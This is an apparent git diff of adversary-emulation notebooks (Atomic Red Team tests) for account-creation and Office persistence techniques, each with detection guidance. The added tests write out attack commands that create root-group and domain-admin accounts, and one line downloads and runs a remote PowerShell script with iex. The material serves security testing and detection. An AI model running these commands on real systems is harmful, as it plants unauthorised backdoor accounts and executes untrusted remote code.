"Creates a new user in a command prompt. Upon execution, \"The command completed successfully.\" will be displayed. To verify the\nnew account, run \"net user\" in powershell or CMD and observe that there is a new user named \"T1136.001_CMD\"\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -98,31 +133,31 @@ { "cell_type": "code", "execution_count": null, - "id": "bb83d31c", + "id": "4095a0b3", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 3" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "6f6b1af3", + "id": "00d18c66", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user /del \"T1136.001_CMD\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c47995e9", + "id": "5f438c09", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "416cb9c8", + "id": "70db637d", "metadata": {}, "source": [ - "### Atomic Test #4 - Create a new user in PowerShell", + "### Atomic Test #5 - Create a new user in PowerShell", "Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the\nnew account, run \"net user\" in powershell or CMD and observe that there is a new user named \"T1136.001_PowerShell\"\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -133,31 +168,31 @@ { "cell_type": "code", "execution_count": null, - "id": "d5b83840", + "id": "475b7a52", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 4" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "8a717608", + "id": "a367fb46", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-LocalUser -Name \"T1136.001_PowerShell\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e449028f", + "id": "ddaecc8d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "00610b96", + "id": "3e77a666", "metadata": {}, "source": [ - "### Atomic Test #5 - Create a new user in Linux with `root` UID and GID.", + "### Atomic Test #6 - Create a new user in Linux with `root` UID and GID.", "Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -168,31 +203,66 @@ { "cell_type": "code", "execution_count": null, - "id": "4fc2c491", + "id": "2304feb6", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 5" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "e6d23c28", + "id": "228d5fe3", "metadata": {}, "source": "#### Cleanup: \n```bash\nuserdel butter\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8178dde8", + "id": "bd01005a", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "7113e9f7", + "id": "b3439fcc", "metadata": {}, "source": [ - "### Atomic Test #6 - Create a new Windows admin user", + "### Atomic Test #7 - Create a new user in FreeBSD with `root` GID.", + "Creates a new user in FreeBSD and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\npw useradd butter -g 0 -d /root -s /bin/sh\necho \"BetterWithButter\" | pw usermod butter -h 0\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "003db534", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "ae23a59c", + "metadata": {}, + "source": "#### Cleanup: \n```sh\npw userdel butter\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f496d2d8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d878440a", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Create a new Windows admin user", "Creates a new admin user in a command prompt.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -203,42 +273,63 @@ { "cell_type": "code", "execution_count": null, - "id": "aa468410", + "id": "e9782507", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 6" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "fa3717cf", + "id": "43962586", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user /del \"T1136.001_Admin\" >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "366b1876", + "id": "714bf5c0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1136.001 -TestNumbers 6 -Cleanup" + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "37a1870c", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Create a new Windows admin user via .NET", + "Creates a new admin user in a powershell session without using net.exe\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c9145c4e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "e18ac0bb", + "id": "5130d34c", "metadata": {}, - "source": "## Detection\nMonitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary." + "source": "## Detection\nMonitor for processes and command-line parameters associated with local account creation, such as net user /add , useradd , and dscl -create . Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system. (Citation: Microsoft User Creation Event) Perform regular audits of local system accounts to detect suspicious accounts that may have been created by an adversary. For network infrastructure devices, collect AAA logging to monitor for account creations." } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1136.002.ipynb b/playbook/tactics/persistence/T1136.002.ipynb index a55a4b87..81992fcb 100644 --- a/playbook/tactics/persistence/T1136.002.ipynb +++ b/playbook/tactics/persistence/T1136.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c4eb0268", + "id": "66735b6d", "metadata": {}, "source": "# T1136.002 - Domain Account\nAdversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system." }, { "cell_type": "markdown", - "id": "a002a94f", + "id": "e2311559", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9d144b81", + "id": "0be21954", "metadata": {}, "source": [ "### Atomic Test #1 - Create a new Windows domain admin user", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "95abe145", + "id": "8a98dfe3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "093d99fb", + "id": "6aaad894", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user \"T1136.002_Admin\" >nul 2>&1 /del /domain\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4f5ac03b", + "id": "e925a25e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6ff49374", + "id": "eca993bb", "metadata": {}, "source": [ "### Atomic Test #2 - Create a new account similar to ANONYMOUS LOGON", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "1446939d", + "id": "fc99f68a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "682197fc", + "id": "f0926d94", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnet user \"ANONYMOUS LOGON\" >nul 2>&1 /del /domain\n```" }, { "cell_type": "code", "execution_count": null, - "id": "26d9517a", + "id": "a581c9b3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "7e350c17", + "id": "4b95af1a", "metadata": {}, "source": [ "### Atomic Test #3 - Create a new Domain Account using PowerShell", @@ -98,28 +98,118 @@ { "cell_type": "code", "execution_count": null, - "id": "5353858d", + "id": "312a0455", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "abc6d46c", + "id": "bceeaafe", "metadata": {}, "source": "#### Cleanup: \n```powershell\ncmd /c \"net user T1136.002_Admin /del >nul 2>&1\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6c07c08b", + "id": "943fea39", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "3f504dc0", + "id": "af2741a1", + "metadata": {}, + "source": "### Atomic Test #4 - Active Directory Create Admin Account\nUse Admin Credentials to Create A Domain Admin Account\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Packages sssd-ad sssd-tools realmd adcli installed and realm available\n\n##### Check Prereq Commands:\n```sh\nwhich ldapadd && which ldapmodify\n\n```\n##### Get Prereq Commands:\n```sh\necho ldapadd or ldapmodify not found; exit 1\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "cf319c47", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.002 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "02af68a1", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\necho \"dn: CN=Admin User,CN=Users,DC=example,DC=test\\nchangetype: add\\nobjectClass: top\\nobjectClass: person\\nobjectClass: organizationalPerson\\nobjectClass: user\\ncn: Admin User\\nsn: User\\ngivenName: Atomic User\\nuserPrincipalName: adminuser@example.test\\nsAMAccountName: adminuser\\nuserAccountControl: 512\\nuserPassword: {CLEARTEXT}s3CureP4ssword123!\\nmemberOf: CN=Domain Admins,CN=Users,DC=example,DC=test\" > tempadmin.ldif\necho ldapadd -H ldap://example.test:389 -x -D admin@example.test -w s3CurePssw0rD! -f tempadmin.ldif\nldapadd -H ldap://example.test:389 -x -D admin@example.test -w s3CurePssw0rD! -f tempadmin.ldif\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f6619875", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.002 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "16675f98", + "metadata": {}, + "source": "#### Cleanup: \n```sh\necho removing Atomic User (temporary user)\necho \"dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\\nchangetype: delete\" > deleteuser.ldif\nldapmodify -H ldap://adVM:389 -x -D admin@example.test -w s3CurePssw0rD! -f deleteuser.ldif\nrm deleteuser.ldif\nrm tempadmin.ldif\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "07d380af", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.002 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b6a484a0", + "metadata": {}, + "source": "### Atomic Test #5 - Active Directory Create User Account (Non-elevated)\nUse Admin Credentials to Create A Normal Account (as means of entry)\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapadd, ldapmodify\n\n##### Check Prereq Commands:\n```sh\nwhich ldapadd\nwhich ldapmodify\n\n```\n##### Get Prereq Commands:\n```sh\necho ldapadd or ldapmodify not found; exit 1\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2481e484", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.002 -TestNumbers 5 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "904cff5b", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\necho \"dn: cn=Atomic User, cn=Users,dc=example,dc=test\\nobjectClass: person\\ncn: Atomic User\\nsn: User\" > tempadmin.ldif\necho ldapadd -H ldap://example.test:389 -x -D user@example.test -w s3CurePssw0rD! -f tempadmin.ldif\nldapadd -H ldap://example.test:389 -x -D user@example.test -w s3CurePssw0rD! -f tempadmin.ldif\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5ed873bc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.002 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "c10f8d09", + "metadata": {}, + "source": "#### Cleanup: \n```sh\necho removing Atomic User (temporary user)\necho \"dn: cn=Atomic User,cn=Users,dc=scwxscratch,dc=dev\\nchangetype: delete\" > deleteuser.ldif\nldapmodify -H ldap://adVM:389 -x -D user@example.test -w s3CurePssw0rD! -f deleteuser.ldif\nrm deleteuser.ldif\nrm tempadmin.ldif\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a429a4bf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.002 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "aa131ce8", "metadata": {}, "source": "## Detection\nMonitor for processes and command-line parameters associated with domain account creation, such as net user /add /domain. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain accounts to detect suspicious accounts that may have been created by an adversary." } @@ -127,13 +217,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1136.003.ipynb b/playbook/tactics/persistence/T1136.003.ipynb index 94d23998..0a13fac7 100644 --- a/playbook/tactics/persistence/T1136.003.ipynb +++ b/playbook/tactics/persistence/T1136.003.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "80bee5d7", + "id": "a16dc267", "metadata": {}, - "source": "# T1136.003 - Cloud Account\nAdversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection." + "source": "# T1136.003 - Cloud Account\nAdversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)." }, { "cell_type": "markdown", - "id": "d908ae51", + "id": "89f19ff1", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "cc4606a5", + "id": "6f3b6f00", "metadata": {}, "source": "### Atomic Test #1 - AWS - Create a new IAM user\nCreates a new IAM user in AWS. Upon successful creation, a new user will be created. Adversaries create new IAM users so that their malicious activity do not interupt the normal functions of the compromised users and can remain undetected for a long time\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```sh\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```sh\necho Please install the aws-cli and configure your AWS defult profile using: aws configure\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "11ca61a5", + "id": "36c5078f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "c39b1fa7", + "id": "e101ee14", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,28 +38,118 @@ { "cell_type": "code", "execution_count": null, - "id": "264f26e1", + "id": "dff561b6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7c0205cd", + "id": "a9f5ff9b", "metadata": {}, "source": "#### Cleanup: \n```sh\naws iam delete-user --user-name atomicredteam\n```" }, { "cell_type": "code", "execution_count": null, - "id": "50322eaf", + "id": "d6ceb27e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1136.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "dd1f73af", + "id": "5ad7bb6e", + "metadata": {}, + "source": "### Atomic Test #2 - Azure AD - Create a new user\nCreates a new user in Azure AD. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.\n**Supported Platforms:** azure-ad\n#### Dependencies: Run with `powershell`!\n##### Description: Check if AzureAD PowerShell module is installed\n##### Check Prereq Commands:\n```powershell\nGet-InstalledModule -Name AzureAD\n```\n##### Get Prereq Commands:\n```powershell\necho \"use the following to install AzureAD PowerShell module - Install-Module -Name AzureAD -Scope CurrentUser -Repository PSGallery -Force\"\n```\n##### Description: Check if AzureAD PowerShell module is installed\n##### Check Prereq Commands:\n```powershell\nUpdate the input arguments so the userprincipalname value is accurate for your environment\n```\n##### Get Prereq Commands:\n```powershell\necho \"Update the input arguments in the .yaml file so that the userprincipalname value is accurate for your environment\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "44756a61", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.003 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d312acc5", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nConnect-AzureAD\n$userprincipalname = \"atomicredteam@yourdomain.com\"\n$username = \"atomicredteam\" \n$password = \"reallylongcredential12345ART-ydsfghsdgfhsdgfhgsdhfg\"\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\n$PasswordProfile.Password = $password\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username ```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2c15b2bf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "f7031455", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-AzureADUser -ObjectId \"atomicredteam@yourdomain.com\"```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1912c36b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.003 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "6641e6fa", + "metadata": {}, + "source": "### Atomic Test #3 - Azure AD - Create a new user via Azure CLI\nCreates a new user in Azure AD via the Azure CLI. Upon successful creation, a new user will be created. Adversaries create new users so that their malicious activity does not interrupt the normal functions of the compromised users and can remain undetected for a long time.\n**Supported Platforms:** azure-ad\n#### Dependencies: Run with `powershell`!\n##### Description: Check if Azure CLI is installed and install manually\n##### Check Prereq Commands:\n```powershell\naz account list\n```\n##### Get Prereq Commands:\n```powershell\necho \"use the following to install the Azure CLI manually https://aka.ms/installazurecliwindows\"\n```\n##### Description: Check if Azure CLI is installed and install via PowerShell\n##### Check Prereq Commands:\n```powershell\naz account list\n```\n##### Get Prereq Commands:\n```powershell\necho \"use the following to install the Azure CLI $ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\\AzureCLI.msi; Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'; Remove-Item .\\AzureCLI.msi\"\n```\n##### Description: Update the userprincipalname to meet your requirements\n##### Check Prereq Commands:\n```powershell\nUpdate the input arguments so the userprincipalname value is accurate for your environment\n```\n##### Get Prereq Commands:\n```powershell\necho \"Update the input arguments in the .yaml file so that the userprincipalname value is accurate for your environment\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "157a4730", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.003 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "dd503559", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\naz login\n$userprincipalname = \"atomicredteam@yourdomain.com\"\n$username = \"atomicredteam\" \n$password = \"reallylongcredential12345ART-ydsfghsdgfhsdgfhgsdhfg\"\naz ad user create --display-name $username --password $password --user-principal-name $userprincipalname\naz ad user list --filter \"displayname eq 'atomicredteam'\" ```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f0b24f0c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.003 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "6e4c7b9a", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\naz ad user delete --id```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a5c75f6a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1136.003 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "b25b9106", "metadata": {}, "source": "## Detection\nCollect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins." } @@ -67,13 +157,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1136.ipynb b/playbook/tactics/persistence/T1136.ipynb index 59bd4f71..7bcd9ee0 100644 --- a/playbook/tactics/persistence/T1136.ipynb +++ b/playbook/tactics/persistence/T1136.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "9cecf39c", + "id": "a76c2ac9", "metadata": {}, "source": "# T1136 - Create Account\nAdversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection." }, { "cell_type": "markdown", - "id": "a793d0a0", + "id": "2e695580", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "8e7f7476", + "id": "4209de7d", "metadata": {}, "source": "## Detection\nMonitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins." }, { "cell_type": "markdown", - "id": "e694b8a8", + "id": "6c990231", "metadata": {}, "source": "\n## Shield Active Defense\n### Standard Operating Procedure \n Establish a structured way of interacting with systems so that non-standard interactions are more easily detectable. \n\n Standard Operating Procedures (SOPs) establish a structured way of interacting with systems and services. These procedures are in place for all users to ensure they can accomplish their goal in the approved manner. If an adversary attempts to perform any tasks which do not conform to the SOP, that activity will be easier to identify, alert on, and respond to.\n#### Opportunity\nThere is an opportunity to create a detection with a moderately high probability of success.\n#### Use Case\nA defender can detect user accounts created outside the acceptable process.\n#### Procedures\nRequire approvals and waivers for users to make changes to their system which requires administrative access. Any changes not made through this process are suspect and immediately investigated as malicious activity.\nCreate a development library that all users must leverage in order to interact with any hosted databases. This library modifies queries to look difficult to write. Any queries made without the library will now be obvious to detect and are immediately investigated as malicious activity.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1137.001.ipynb b/playbook/tactics/persistence/T1137.001.ipynb index 9af70458..87fd22e1 100644 --- a/playbook/tactics/persistence/T1137.001.ipynb +++ b/playbook/tactics/persistence/T1137.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "386783ba", + "id": "36c9658e", "metadata": {}, "source": "# T1137.001 - Office Template Macros\nAdversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros." }, { "cell_type": "markdown", - "id": "7f266050", + "id": "1aa3d395", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ad73e153", + "id": "e858561a", "metadata": {}, "source": "## Detection\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/persistence/T1137.002.ipynb b/playbook/tactics/persistence/T1137.002.ipynb index 6720c9a4..29032ee0 100644 --- a/playbook/tactics/persistence/T1137.002.ipynb +++ b/playbook/tactics/persistence/T1137.002.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "9b4f14d2", + "id": "f16c9a2d", "metadata": {}, "source": "# T1137.002 - Office Test\nAdversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office 